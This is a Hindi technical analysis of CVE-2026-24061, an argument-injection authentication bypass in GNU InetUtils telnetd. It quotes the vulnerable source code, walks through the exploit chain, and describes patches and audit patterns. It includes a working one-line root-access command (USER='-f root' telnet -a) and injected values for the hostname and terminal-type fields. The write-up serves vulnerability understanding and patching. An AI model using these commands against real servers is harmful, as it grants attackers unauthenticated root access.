
गहन तकनीकी विश्लेषण और स्कैनर CVE-2026-24061 के लिए, जो GNU InetUtils telnetd में एक गंभीर प्रमाणीकरण बाईपास है, जिसमें एक्सप्लॉइट चेन, PoC और पैच विवरण शामिल हैं।
CVE-2026-24061 GNU InetUtils telnetd में एक गंभीर (CVSS 9.8) रिमोट प्रमाणीकरण बाईपास भेद्यता है जो बिना प्रमाणित हमलावरों को तुरंत रूट एक्सेस प्राप्त करने की अनुमति देती है। यह भेद्यता USER पर्यावरण चर के अनुचित सैनिटाइज़ेशन के कारण उत्पन्न होती है, जिसे सीधे /usr/bin/login को कमांड-लाइन तर्क के रूप में पारित किया जाता है। USER=-f root सेट करके, एक हमलावर login के -f फ्लैग को ट्रिगर करता है, जो प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।
प्रभावित संस्करण: GNU InetUtils 1.9.3 से 2.7 भेद्यता प्रकार: CWE-88 (तर्क इंजेक्शन) खोज की तिथि: 20 जनवरी, 2026 खोजकर्ता: Kyu Neushwaistein (उर्फ Carlos Cortes Alvarez)
telnetd/telnetd.c, पंक्तियाँ ~49-63)भेद्यता एक कमांड टेम्पलेट स्ट्रिंग से शुरू होती है जो परिभाषित करती है कि telnetd /usr/bin/login को कैसे इनवोक करता है:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
मुख्य अवलोकन: गैर-Solaris सिस्टम पर, टेम्पलेट उपयोग करता है:
%?u{-f %u}{%U} - यह एक सशर्त अभिव्यक्ति है जिसका अर्थ है:
user_name सेट है (%u), तो -f %u उपयोग करें (प्रमाणित ऑटोलॉगिन)%U उपयोग करें (USER पर्यावरण चर फ़ॉलबैक के रूप में)महत्वपूर्ण समस्या: %U कच्चे, बिना सैनिटाइज़ किए USER पर्यावरण चर में विस्तारित होता है।
telnetd/utility.c, _var_short_name())टेम्पलेट स्ट्रिंग को expand_line() द्वारा संसाधित किया जाता है, जो प्लेसहोल्डर्स को विस्तारित करने के लिए _var_short_name() को कॉल करता है। यहाँ भेद्य कोड है:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIALLY VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIALLY VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
महत्वपूर्ण बग (केस 'U'): USER पर्यावरण चर को getenv() के माध्यम से प्राप्त किया जाता है और बिना किसी सैनिटाइज़ेशन के पारित किया जाता है। जब कोई हमलावर USER=-f root सेट करता है, तो यह लॉगिन कमांड लाइन का हिस्सा बन जाता है।
telnetd/pty.c, start_login())विस्तारित लॉगिन इनवोकेशन स्ट्रिंग को start_login() में निष्पादित किया जाता है:
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
हमलावर कनेक्ट करता है telnetd (पोर्ट 23) से
टेलनेट विकल्प वार्ता होती है:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (पर्यावरण का अनुरोध)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEसर्वर USER चर को संसाधित करता है:
getenv("USER") लौटाता है -f root%U विस्तारित होता है -f root में/usr/bin/login -p -h <hostname> -f rootलॉगिन -f root की व्याख्या करता है:
-f फ्लैग का अर्थ है "प्रमाणीकरण छोड़ें, उपयोगकर्ता पूर्व-प्रमाणित है"root वह उपयोगकर्ता नाम है जिसके रूप में लॉगिन करना है# On attacker machine:
USER='-f root' telnet -a <target_ip>
-a फ्लैग स्वचालित लॉगिन मोड को सक्षम करता है, जो USER पर्यावरण चर को सर्वर को भेजता है।
सुरक्षा सलाह स्पष्ट रूप से नोट करती है: "इस प्रकार अन्य चरों के लिए समान भेद्यताओं की संभावना है।" आइए _var_short_name() में प्रत्येक चर का विश्लेषण करें:
| Var | नाम | स्रोत | उपयोगकर्ता नियंत्रणीय? | सैनिटाइज़ किया गया? | हमला सतह |
|---|---|---|---|---|---|
%U | USER env var | getenv("USER") | हाँ (NEW_ENVIRON के माध्यम से) | नहीं | महत्वपूर्ण - CVE-2026-24061 |
%h | remote_hostname | DNS/PTR लुकअप | आंशिक (PTR रिकॉर्ड) | नहीं | उच्च |
%T | terminaltype | TERMINAL-TYPE विकल्प | हाँ | नहीं | मध्यम |
%u | user_name | प्रोटोकॉल वार्ता | हाँ | नहीं | मध्यम (प्रमाणीकरण की आवश्यकता) |
%l | local_hostname | सिस्टम कॉन्फ़िगरेशन | नहीं | N/A | निम्न |
%L | line (TTY) | सिस्टम आवंटित | नहीं | N/A | निम्न |
%t | tty shortname | सिस्टम आवंटित | नहीं | N/A | निम्न |
%d | दिनांक/समय | सिस्टम घड़ी | नहीं | N/A | कोई नहीं |
%a | प्रमाणीकरण स्थिति | आंतरिक स्थिति | नहीं | N/A | कोई नहीं |
%h - रिमोट होस्टनाम (उच्च जोखिम)स्रोत: telnetd_setup() में telnetd.c से getnameinfo() या gethostbyaddr() के माध्यम से भरा जाता है।
समस्या: यदि कोई हमलावर अपने PTR (रिवर्स DNS) रिकॉर्ड को नियंत्रित करता है, तो वे संभावित रूप से इंजेक्ट कर सकते हैं:
foo -f root
अपने होस्टनाम के रूप में, जो -h तर्क का हिस्सा बन जाएगा:
/usr/bin/login -p -h "foo -f root" ...
शोषण कठिनाई:
वास्तविक-विश्व परिदृश्य: अपने IP के PTR रिकॉर्ड के नियंत्रण वाला हमलावर (VPS प्रदाताओं के लिए सामान्य) अपने रिवर्स DNS को दुर्भावनापूर्ण मान पर सेट कर सकता है।
%T - टर्मिनल प्रकार (मध्यम जोखिम)स्रोत: टेलनेट TERMINAL-TYPE उप-वार्ता के माध्यम से प्राप्त, terminaltype चर में संग्रहीत।
समस्या: टर्मिनल प्रकार स्ट्रिंग हमलावर-नियंत्रित और बिना सैनिटाइज़ है:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
टेम्पलेट्स में उपयोग:
%?T{-t %T} - -t फ्लैग के साथ उपयोग किया जाता है%?T{%T} - सीधे डाला गयासंभावित हमला:
TERMINAL-TYPE: xterm -f root
हालाँकि, शोषण निर्भर करता है:
%T का उपयोग करता है (वर्तमान में केवल Solaris)-t तर्क को कैसे संभालता है%u - प्रमाणित उपयोगकर्ता नाम (मध्यम जोखिम)स्रोत: प्रमाणीकरण वार्ता के दौरान सेट किया जाता है।
समस्या: -f %u पैटर्न में उपयोग किया जाता है:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
यदि कोई हमलावर user_name में शेल मेटाकैरेक्टर या अतिरिक्त तर्क शामिल करने के लिए हेरफेर कर सकता है, तो वे उन्नयन प्राप्त कर सकते हैं। हालाँकि, यह चर आमतौर पर किसी प्रकार के प्रमाणीकरण सत्यापन के बाद ही सेट किया जाता है।
%l, %L, %t: ये सिस्टम-नियंत्रित मानों (स्थानीय होस्टनाम, TTY डिवाइस नाम) से प्राप्त होते हैं जिन्हें हमलावर दूरस्थ रूप से प्रभावित नहीं कर सकते।
%d: सिस्टम घड़ी से उत्पन्न - कोई इंजेक्शन वेक्टर नहीं।
%a: आंतरिक प्रमाणीकरण स्थिति चर - शाब्दिक "ok" या NULL लौटाता है।
इस भेद्यता के आधार पर, कोडबेस में खोजने के लिए यहाँ पैटर्न हैं:
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")
जाँचने के लिए फ़ाइलें:
telnetd/utility.c - अन्य विस्तार फ़ंक्शनtelnetd/telnetd.c - पर्यावरण हैंडलिंगrlogind/, rshd/ - समान सेवाएँ// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...); // PTR lookups
gethostbyaddr(...);
// Then using result in command construction
ftpd डेमॉन: जाँचें कि प्रमाणीकरण और कमांड प्रोसेसिंग में उपयोगकर्ता इनपुट कैसे संभाला जाता है
rshd/rlogind डेमॉन: ये समान प्रमाणीकरण पैटर्न का उपयोग करते हैं और होस्टनाम या पर्यावरण हैंडलिंग में तुलनीय समस्याएँ हो सकती हैं
inetd कॉन्फ़िगरेशन पार्सिंग: सेवाओं को सेट करते समय अविश्वसनीय इनपुट संसाधित कर सकता है
Kerberos एकीकरण बिंदु: प्रिंसिपल नाम या प्रमाणीकरण टोकन संसाधित करते समय
fd702c02)पहला पैच बुनियादी सैनिटाइज़ेशन जोड़ता है:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
यह - से शुरू होने वाले मानों को रोकता है जो फ्लैग इंजेक्शन को रोकता है।
ccba9f74)दूसरा पैच सभी उपयोगकर्ता-नियंत्रित इनपुट के लिए पुन: प्रयोज्य sanitize() फ़ंक्शन पेश करता है:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
सभी संभावित रूप से खतरनाक चरों पर लागू:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 एक पाठ्यपुस्तक तर्क इंजेक्शन भेद्यता है जो 11 वर्षों तक अनिर्धारित रही:
समान भेद्यताएँ मौजूद हो सकती हैं %h (होस्टनाम) और %T (टर्मिनल प्रकार) चरों में, हालाँकि शोषण अधिक जटिल है।
व्यापक निहितार्थ: कोई भी कोड जो नेटवर्क-व्युत्पन्न डेटा से शेल कमांड या प्रोग्राम तर्क बनाता है, उसे समान इंजेक्शन भेद्यताओं के लिए ऑडिट किया जाना चाहिए।
अनुशंसित शमन:
-f फ्लैग को अनदेखा करता है